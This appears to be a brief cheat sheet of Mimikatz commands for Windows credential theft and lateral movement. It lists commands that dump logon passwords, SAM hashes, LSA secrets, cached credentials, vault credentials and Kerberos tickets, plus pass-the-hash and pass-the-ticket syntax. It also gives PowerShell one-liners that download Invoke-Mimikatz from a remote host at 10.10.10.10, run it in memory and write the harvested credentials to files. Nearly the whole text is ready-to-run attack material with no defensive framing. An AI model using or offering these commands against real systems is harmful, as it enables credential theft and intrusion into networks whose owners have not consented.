⚡ Quick References

🎯 Essential Commands

# Quick wins
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets /export
vault::cred /patch
lsadump::sam

# Lateral movement
sekurlsa::pth /user:X /domain:Y /ntlm:Z /run:cmd
kerberos::ptt ticket.kirbi

🚀 One-Liners

# Remote execution with output
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"' | Out-File C:\temp\creds.txt

# Full dump everything
Invoke-Mimikatz -Command '"token::elevate" "privilege::debug" "sekurlsa::logonpasswords" "sekurlsa::tickets /export" "vault::cred /patch" "lsadump::sam" "lsadump::secrets" "lsadump::cache"' | Tee-Object -FilePath C:\temp\full_dump.txt

---